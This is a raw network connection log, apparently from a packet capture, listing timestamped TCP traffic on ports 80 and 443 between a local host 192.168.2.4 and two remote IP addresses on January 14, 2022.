Jan 14, 2022 12:29:55.930397034 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930433989 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930470943 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930509090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930515051 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930526972 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930546999 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930584908 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930620909 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930630922 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930649042 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930660963 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930701017 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930737019 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930744886 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930774927 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930813074 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930850983 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930876017 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930886984 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.930890083 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930928946 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.930967093 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931005955 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931037903 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931041002 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931051016 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931080103 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931118011 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931154966 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931155920 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931168079 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931195021 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931233883 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931272030 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931310892 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931327105 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931339025 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931348085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931386948 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931423903 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931459904 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931497097 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931509018 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931516886 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931534052 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931571960 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931611061 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931646109 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931662083 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931672096 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931684971 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931724072 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931759119 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931777000 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931787968 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931797981 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931834936 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931873083 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931910992 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.931934118 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.931946039 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938044071 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938087940 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938127041 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938127995 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938167095 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938209057 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938250065 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938270092 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938281059 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938290119 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938328981 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938368082 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938406944 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938446999 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938450098 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938461065 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938487053 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938528061 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938568115 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938605070 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938622952 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938632965 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938646078 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938684940 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938724995 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938735008 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938746929 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938766003 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938803911 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938843012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938886881 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938900948 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938910961 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.938925982 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.938965082 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939004898 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939043045 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939081907 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939095974 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939102888 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939120054 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939157963 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939196110 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939208984 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939218044 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939232111 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939270973 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939307928 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939346075 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939349890 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939357996 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939385891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939434052 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939466953 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939498901 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939529896 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939563036 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939565897 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939575911 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939580917 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939595938 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939629078 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939644098 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939662933 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939693928 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939724922 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939758062 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939775944 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939785957 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939789057 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939821959 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939855099 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939887047 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939904928 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939912081 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.939919949 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939951897 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.939982891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940015078 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940040112 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940046072 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940053940 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940079927 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940112114 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940143108 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940155983 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940176964 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940207005 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940222025 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940229893 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940239906 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940274000 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940304995 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940336943 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940367937 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940380096 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940387964 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940401077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940406084 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.940435886 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.940490007 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949296951 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949354887 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949387074 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949420929 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949455023 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949486971 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949491978 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949515104 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949520111 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949554920 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949587107 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949604988 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949614048 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949623108 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949656010 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949688911 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949722052 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949734926 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949759960 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949771881 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949812889 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949882030 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949888945 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949930906 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.949969053 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.949970007 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950010061 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950047016 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950057030 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950088024 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950114965 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950128078 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950166941 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950205088 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950242996 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950258970 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950270891 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950283051 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950323105 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950359106 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950397968 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950407028 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950438023 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950475931 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950499058 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950515032 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950553894 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950562954 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950573921 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950596094 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950635910 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950671911 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950680971 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950711012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950750113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950786114 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950820923 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950824022 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950833082 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950865030 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950886965 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950905085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950944901 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.950968981 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.950982094 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951023102 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951060057 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951076984 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951097965 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951123953 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951137066 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951176882 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951215029 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951226950 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951256037 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951277018 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951298952 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951337099 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951370001 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951375008 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951412916 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951451063 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951459885 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951489925 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951528072 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951565981 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951602936 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951641083 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951678991 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951702118 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951710939 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951716900 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951716900 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951720953 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951756954 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951796055 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951813936 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951836109 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951877117 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951898098 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.951915026 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951952934 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.951991081 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952027082 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952032089 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.952065945 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952069998 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.952104092 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952142954 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952183008 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.952198029 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952236891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952299118 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.952301025 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.952310085 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.957839012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.957937956 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.957976103 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958015919 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958029985 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958045006 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958054066 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958093882 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958132982 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958168983 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958180904 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958188057 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958209038 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958246946 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958283901 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958321095 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958359003 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958370924 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958378077 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958398104 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958437920 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958475113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958486080 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958491087 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958513975 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958551884 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958589077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958626032 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958648920 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958657980 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958663940 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958703041 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.958796024 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.958803892 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.976419926 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.460675001 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.478255987 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.478399038 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.478477955 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.478488922 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.495822906 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.601169109 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.601308107 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.601440907 CET	49874	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.618670940 CET	80	49874	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.627348900 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.644614935 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.645358086 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.645451069 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.645462990 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.662626028 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.775176048 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.775311947 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.775455952 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:58.792746067 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:58.808721066 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:58.808774948 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:58.809168100 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:58.809215069 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:58.809226990 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:58.906256914 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:58.906373978 CET	49876	443	192.168.2.4	172.67.139.105
